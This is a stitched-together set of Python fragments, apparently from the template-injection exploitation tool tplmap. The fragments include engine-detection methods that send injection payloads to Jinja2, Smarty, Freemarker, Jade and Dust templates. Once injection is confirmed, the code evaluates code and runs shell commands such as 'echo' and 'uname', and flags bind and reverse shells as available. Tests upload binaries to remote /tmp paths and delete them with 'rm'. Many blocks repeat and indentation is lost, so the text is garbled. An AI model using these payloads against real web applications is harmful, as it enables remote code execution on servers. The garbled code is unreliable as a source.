def test_upload_blind(self):
obj, data = self._get_detection_obj_data(
self.url_blind % ''
)
self.assertEqual(data, self.expected_data_blind)
# Send file without --force-overwrite, should fail
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
obj.write('AAAA', remote_temp_path)
self.assertFalse(os.path.exists(remote_temp_path))
# Now set --force-overwrite and retry
obj.channel.args['force_overwrite'] = True
# Send long binary
data = open('/bin/ls', 'rb').read()
obj.write(data, remote_temp_path)
# Since it's blind, read md5 from disk
checkdata = open(remote_temp_path, 'rb').read()
self.assertEqual(strings.md5(checkdata), strings.md5(data))
os.unlink(remote_temp_path)
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
# Send short ASCII data
data = 'SHORT ASCII DATA'
obj.write(data, remote_temp_path)
checkdata = open(remote_temp_path, 'rb').read()
self.assertEqual(strings.md5(checkdata), strings.md5(data))
os.unlink(remote_temp_path)
def test_upload(self):
obj, data = self._get_detection_obj_data(self.url % '')
self.assertEqual(data, self.expected_data)
if not EXTRA_UPLOAD:
return
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
# Send long binary
data = open('/bin/ls', 'rb').read()
obj.write(data, remote_temp_path)
self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
obj.execute('rm %s' % (remote_temp_path))
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
# Send short ASCII data, without removing it
data = 'SHORT ASCII DATA'
obj.write(data, remote_temp_path)
self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
# Try to append data without --force-overwrite and re-check the previous md5
obj.write('APPENDED DATA', remote_temp_path)
self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
# Now set --force-overwrite and rewrite new data on the same file
obj.channel.args['force_overwrite'] = True
data = 'NEW DATA'
obj.write(data, remote_temp_path)
self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
obj.execute('rm %s' % (remote_temp_path))
def rendered_detected(self):
randA = rand.randstr_n(2)
randB = rand.randstr_n(2)
payload = '"%s".join("%s")' % (randA, randB)
expected = randA.join(randB)
if expected == self.render(payload):
self.set('engine', self.plugin.lower())
self.set('language', self.language)
os = self.evaluate(
"""'-'.join([__import__('os').name, __import__('sys').platform])"""
)
if os and re.search('^[\w-]+$', os):
self.set('os', os)
self.set('evaluate', self.language)
self.set('write', True)
self.set('read', True)
expected_rand = str(rand.randint_n(2))
if expected_rand == self.execute('echo %s' % expected_rand):
self.set('execute', True)
self.set('bind_shell', True)
self.set('reverse_shell', True)
def test_upload(self):
obj, data = self._get_detection_obj_data(self.url % '')
self.assertEqual(data, self.expected_data)
if not EXTRA_UPLOAD:
return
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
# Send long binary
data = open('/bin/ls', 'rb').read()
obj.write(data, remote_temp_path)
self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
obj.execute('rm %s' % (remote_temp_path))
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
# Send short ASCII data, without removing it
data = 'SHORT ASCII DATA'
obj.write(data, remote_temp_path)
self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
# Try to append data without --force-overwrite and re-check the previous md5
obj.write('APPENDED DATA', remote_temp_path)
self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
# Now set --force-overwrite and rewrite new data on the same file
obj.channel.args['force_overwrite'] = True
data = 'NEW DATA'
obj.write(data, remote_temp_path)
self.assertEqual(obj.md5(remote_temp_path), strings.md5(data))
obj.execute('rm %s' % (remote_temp_path))
def rendered_detected(self):
randA = rand.randstr_n(2)
randB = rand.randstr_n(2)
# Check this to avoid detecting Twig as Jinja2
payload = '{{"%s".join("%s")}}' % (randA, randB)
expected = randA.join(randB)
if expected == self.render(payload):
self.set('engine', self.plugin.lower())
self.set('language', self.language)
os = self.evaluate("""'-'.join([__import__('os').name, __import__('sys').platform])""")
if os and re.search('^[\w-]+$', os):
self.set('os', os)
self.set('evaluate', self.language)
self.set('write', True)
self.set('read', True)
expected_rand = str(rand.randint_n(2))
if expected_rand == self.execute('echo %s' % expected_rand):
self.set('execute', True)
self.set('bind_shell', True)
self.set('reverse_shell', True)
def test_upload_blind(self):
obj, data = self._get_detection_obj_data(self.url_blind % '',
technique='T')
self.assertEqual(data, self.expected_data_blind)
if not EXTRA_UPLOAD_BLIND:
return
# Send file without --force-overwrite, should fail
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
obj.write('AAAA', remote_temp_path)
self.assertFalse(os.path.exists(remote_temp_path))
# Now set --force-overwrite and retry
obj.channel.args['force_overwrite'] = True
# Send long binary
data = open('/bin/ls', 'rb').read()
obj.write(data, remote_temp_path)
# Since it's blind, read md5 from disk
checkdata = open(remote_temp_path, 'rb').read()
self.assertEqual(strings.md5(checkdata), strings.md5(data))
os.unlink(remote_temp_path)
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
# Send short ASCII data
data = 'SHORT ASCII DATA'
obj.write(data, remote_temp_path)
checkdata = open(remote_temp_path, 'rb').read()
self.assertEqual(strings.md5(checkdata), strings.md5(data))
os.unlink(remote_temp_path)
def detect_engine(self):
randA = rand.randstr_n(1)
randB = rand.randstr_n(1)
payload = '%s{*%s*}%s' % (randA, rand.randstr_n(1), randB)
expected = randA + randB
if expected == self.render(payload):
self.set('language', 'php')
self.set('engine', 'smarty')
def detect_engine(self):
randA = rand.randstr_n(1)
randB = rand.randstr_n(1)
payload = '%s<#--%s-->%s' % (randA, rand.randstr_n(1), randB)
expected = randA + randB
if expected == self.inject(payload):
self.set('language', 'java')
self.set('engine', 'freemarker')
def detect_engine(self):
randA = rand.randstr_n(1)
randB = rand.randstr_n(1)
payload = '%s{*%s*}%s' % (randA, rand.randstr_n(1), randB)
expected = randA + randB
if expected == self.inject(payload):
self.set('language', 'php')
self.set('engine', 'smarty')
def detect_engine(self):
randA = rand.randstr_n(1)
randB = rand.randstr_n(1)
payload = '%s<#--%s-->%s' % (randA, rand.randstr_n(1), randB)
expected = randA + randB
if expected == self.inject(payload):
self.set('language', 'java')
self.set('engine', 'freemarker')
def detect_engine(self):
randA = rand.randstr_n(2)
randB = rand.randstr_n(2)
payload = '{{"%s".join("%s")}}' % (randA, randB)
expected = randA.join(randB)
if expected == self.inject(payload):
self.set('language', 'python')
self.set('engine', 'jinja2')
self.set('eval', 'python')
def detect_engine(self):
randA = rand.randstr_n(2)
randB = rand.randstr_n(2)
payload = '{{"%s".join("%s")}}' % (randA, randB)
expected = randA.join(randB)
if expected == self.inject(payload):
self.set('language', 'python')
self.set('engine', 'jinja2')
self.set('eval', 'python')
def rendered_detected(self):
randA = rand.randstr_n(2)
# Check this to avoid false positives
payload = 'p %s' % randA
expected = '<p>%s</p>' % randA
if expected == self.render(payload):
self.set('engine', self.plugin.lower())
self.set('language', self.language)
os = self.evaluate("""global.process.mainModule.require('os').platform()""")
if os and re.search('^[\w-]+$', os):
self.set('os', os)
self.set('evaluate', self.language)
self.set('write', True)
self.set('read', True)
expected_rand = str(rand.randint_n(2))
if expected_rand == self.execute('echo %s' % expected_rand):
self.set('execute', True)
self.set('bind_shell', True)
self.set('reverse_shell', True)
def test_upload(self):
template = 'AAAA%sAAAA'
channel = Channel({
'url' : 'http://127.0.0.1:15001/reflect/jinja2?inj=*'
})
jinja2obj = Jinja2(channel)
jinja2obj.detect()
del channel.data['os']
self.assertEqual(channel.data, self.expected_data)
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
# Send long binary
data = open('/bin/ls', 'rb').read()
jinja2obj.write(data, remote_temp_path)
self.assertEqual(jinja2obj._md5(remote_temp_path), strings.md5(data))
jinja2obj.execute('rm %s' % (remote_temp_path))
# Send short ASCII data, without removing it
data = 'SHORT ASCII DATA'
jinja2obj.write(data, remote_temp_path)
self.assertEqual(jinja2obj._md5(remote_temp_path), strings.md5(data))
# Try to append data without --force-overwrite and re-check the previous md5
jinja2obj.write('APPENDED DATA', remote_temp_path)
self.assertEqual(jinja2obj._md5(remote_temp_path), strings.md5(data))
# Now set --force-overwrite and rewrite new data on the same file
jinja2obj.channel.args['force_overwrite'] = True
data = 'NEW DATA'
jinja2obj.write(data, remote_temp_path)
self.assertEqual(jinja2obj._md5(remote_temp_path), strings.md5(data))
jinja2obj.execute('rm %s' % (remote_temp_path))
def rendered_detected(self):
randA = rand.randstr_n(2)
# Check this to avoid false positives
payload = 'p %s' % randA
expected = '<p>%s</p>' % randA
if expected == self.render(payload):
self.set('engine', self.plugin.lower())
self.set('language', self.language)
os = self.evaluate(
"""global.process.mainModule.require('os').platform()""")
if os and re.search('^[\w-]+$', os):
self.set('os', os)
self.set('evaluate', self.language)
self.set('write', True)
self.set('read', True)
expected_rand = str(rand.randint_n(2))
if expected_rand == self.execute('echo %s' % expected_rand):
self.set('execute', True)
self.set('bind_shell', True)
self.set('reverse_shell', True)
def test_upload(self):
channel = Channel({
'url' : 'http://127.0.0.1:15002/smarty-3.1.29-unsecured.php?inj=*'
})
smartyobj = Smarty(channel)
smartyobj.detect()
del channel.data['os']
self.assertEqual(channel.data, self.expected_data)
remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10)
# Send long binary
data = open('/bin/ls', 'rb').read()
smartyobj.write(data, remote_temp_path)
self.assertEqual(smartyobj._md5(remote_temp_path), strings.md5(data))
smartyobj.execute('rm %s' % (remote_temp_path))
# Send short ASCII data, without removing it
data = 'SHORT ASCII DATA'
smartyobj.write(data, remote_temp_path)
self.assertEqual(smartyobj._md5(remote_temp_path), strings.md5(data))
# Try to append data without --force-overwrite and re-check the previous md5
smartyobj.write('APPENDED DATA', remote_temp_path)
self.assertEqual(smartyobj._md5(remote_temp_path), strings.md5(data))
# Now set --force-overwrite and rewrite new data on the same file
smartyobj.channel.args['force_overwrite'] = True
data = 'NEW DATA'
smartyobj.write(data, remote_temp_path)
self.assertEqual(smartyobj._md5(remote_temp_path), strings.md5(data))
smartyobj.execute('rm %s' % (remote_temp_path))
def detect(self):
self._detect_dust()
if self.get('engine'):
log.info('%s plugin has confirmed injection' % (
self.plugin)
)
# Clean up any previous unreliable render data
self.delete('unreliable_render')
self.delete('unreliable')
# Further exploitation requires if helper, which has
# been deprecated in version [email protected] .
# Check if helper presence here.
rand_A = rand.randstr_n(2)
rand_B = rand.randstr_n(2)
rand_C = rand.randstr_n(2)
expected = rand_A + rand_B + rand_C
if expected in self.inject('%s{@if cond="1"}%s{/if}%s' % (rand_A, rand_B, rand_C)):
log.info('%s plugin has confirmed the presence of dustjs if helper <= 1.5.0' % (
self.plugin)
)
# Blind inj must be checked also with confirmed rendering
self._detect_blind()
if self.get('blind'):
log.info('%s plugin has confirmed blind injection' % (self.plugin))
# Clean up any previous unreliable render data
self.delete('unreliable_render')
self.delete('unreliable')
# Set basic info
self.set('engine', self.plugin.lower())
self.set('language', self.language)
# Set the environment
self.blind_detected()
def detect(self):
self._detect_dust()
if self.get('engine'):
log.info('%s plugin has confirmed injection' % (
self.plugin)
)
# Clean up any previous unreliable render data
self.delete('unreliable_render')
self.delete('unreliable')
# Further exploitation requires if helper, which has
# been deprecated in version [email protected] .
# Check if helper presence here.
rand_A = rand.randstr_n(2)
rand_B = rand.randstr_n(2)
rand_C = rand.randstr_n(2)
expected = rand_A + rand_B + rand_C
if expected in self.inject('%s{@if cond="1"}%s{/if}%s' % (rand_A, rand_B, rand_C)):
log.info('%s plugin has confirmed the presence of dustjs if helper <= 1.5.0' % (
self.plugin)
)
# Blind inj must be checked also with confirmed rendering
self._detect_blind()
if self.get('blind'):
log.info('%s plugin has confirmed blind injection' % (self.plugin))
# Clean up any previous unreliable render data
self.delete('unreliable_render')
self.delete('unreliable')
# Set basic info
self.set('engine', self.plugin.lower())
self.set('language', self.language)
# Set the environment
self.blind_detected()
def rendered_detected(self):
randA = rand.randstr_n(3)
# {{7*'7'}} and a{#b#}c work in freemarker as well
# {%% set a=%i*%i %%}{{a}} works in Nunjucks as well
payload = '{{"%s\n"|nl2br}}' % (randA)
expected = "%s<br />" % (randA)
if expected == self.render(payload):
self.set('engine', self.plugin.lower())
self.set('language', self.language)
def rendered_detected(self):
randA = rand.randstr_n(3)
# {{7*'7'}} and a{#b#}c work in freemarker as well
# {%% set a=%i*%i %%}{{a}} works in Nunjucks as well
payload = '{{"%s\n"|nl2br}}' % (randA)
expected = "%s<br />" % (randA)
if expected == self.render(payload):
self.set('engine', self.plugin.lower())
self.set('language', self.language)
def rendered_detected(self):
randA = rand.randstr_n(1)
randB = rand.randstr_n(1)
payload = '%s<#--%s-->%s' % (randA, rand.randstr_n(1), randB)
expected = randA + randB
if expected == self.render(payload):
self.set('engine', self.plugin.lower())
self.set('language', self.language)
expected_rand = str(rand.randint_n(2))
if expected_rand == self.execute('echo %s' % expected_rand):
self.set('execute', True)
self.set('write', True)
self.set('read', True)
self.set('bind_shell', True)
self.set('reverse_shell', True)
os = self.execute("""uname""")
if os and re.search('^[\w-]+$', os):
self.set('os', os)
def rendered_detected(self):
randA = rand.randstr_n(1)
randB = rand.randstr_n(1)
payload = '%s<#--%s-->%s' % (randA, rand.randstr_n(1), randB)
expected = randA + randB
if expected == self.render(payload):
self.set('engine', self.plugin.lower())
self.set('language', self.language)
expected_rand = str(rand.randint_n(2))
if expected_rand == self.execute('echo %s' % expected_rand):
self.set('execute', True)
self.set('write', True)
self.set('read', True)
self.set('bind_shell', True)
self.set('reverse_shell', True)
os = self.execute("""uname""")
if os and re.search('^[\w-]+$', os):
self.set('os', os)
